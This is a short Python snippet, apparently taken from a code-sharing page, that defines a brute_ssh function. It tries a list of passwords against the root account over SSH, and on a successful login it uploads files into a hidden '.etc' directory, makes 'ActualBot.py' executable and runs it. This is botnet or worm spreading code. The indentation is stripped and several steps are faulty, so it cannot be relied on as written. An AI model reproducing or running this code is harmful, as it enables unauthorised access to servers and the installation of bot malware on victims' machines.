def brute_ssh(self, host):
global passwords
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for pswd in passwords:
try:
ssh.connect(host, port=22, username="root", password=pswd)
sftp = ssh.open_sftp()
ssh.exec_command("cd ..")
ssh.exec_command("mkdir .etc")
ssh.exec_command("cd .etc")
for file in os.listdir("SSH_files_linux"):
sftp.put(file, ".etc")
sftp.close()
ssh.exec_command("chmod +x ActualBot.py")
ssh.exec_command("./ActualBot.py")
ssh.close()
except paramiko.AuthenticationException:
pass
except socket.error:
pass
return None
评论列表
文章目录